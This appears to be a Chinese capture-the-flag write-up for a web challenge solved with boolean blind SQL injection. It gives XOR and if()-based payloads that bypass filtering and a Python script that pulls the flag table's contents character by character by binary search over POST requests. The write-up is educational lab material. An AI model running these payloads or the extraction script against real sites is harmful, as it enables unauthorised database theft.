输入不同的字符
该页面回显分为几种
输入0
输入1
输入2
输入1‘
输入1‘#
存在过滤
fuzz试一试
发现过滤很多东西
由于输入1’
返回的是bool
猜测为布尔盲注
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息
由于存在过滤 此时采用以下两种
第一种 异或
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
但还有一些是没有用异或,用的是if,可if有局限性,在id为数字型时,可以直接 select * from users where id=if(1=1,1,0),但如果id单引号字符型或双引号字符型,那就必须在if前加or或and。
返回的是f
由于flag很长
此时使用脚本测试
import requests
import time
rest = "" # 要提前设置
url = "http://9b55ec99-8cae-4a0f-87b0-19d030a4e831.node4.buuoj.cn:81/"
payload = {"id": ""}
for i in range(1, 100):
begin = 33
end = 130
middle = (begin+end) >> 1 # 记得加括号 结果就是对begin+end除以2取整数
while begin < end:
payload["id"] = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, middle) # {0}{1}表示第一个传入的参数和第二个传入的参数
resp = requests.post(url, data=payload) # data传入的必须是一个字典
if "Hello" in resp.text:
begin = middle + 1
else:
end = middle
middle = (begin + end) >> 1#重新对middle赋值
time.sleep(1)
if chr(middle) == " ":
break
rest += chr(middle)#返回值是当前整数对应的 ASCII 字符
print("flag:" + rest)
print(rest)
一个一个摘取flag表中flag字段的字 之后挨个比对
通过request中post方法传输数据
网页源代码显示方法post 参数为id
脚本中使用post方法时传递的参数为字典型数据
传递的参数就是一次次对数字摘取 进行的对比
原先是一个个对比 但是一个大佬给出了新想法 二分查找 充分利用if参数比大小的性质
由于上面语句查询的是是否大于middle 若大于则返回的是1 则此时需要在在middle右边选取 不需要参考middle的值 因此begin=middle+1
r若返回为0 则需要在小于middle中匹配 因此修改end值 但是由于查看的是是否大于 没考虑等于的情况因此 上界为middle 此时 end=middle
第二种 if
if(condition, value_if_true, value_if_false)
#根据条件进行判断,如果条件为真,输出第二个参数,如果为假,输出第三个参数
测试
if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
如果flag表中flag列的参数中第一个字母的ascii值为1则会返回HELLO…
否则 doyou…
payload["id"] = "if(ascii(substr((select(flag)from(flag)),{0},1))>{1},1,2)".format(i, middle) # {0}{1}表示第一个传入的参数和第二个传入的参数
只需要在payload除修改一点点就行
得到flag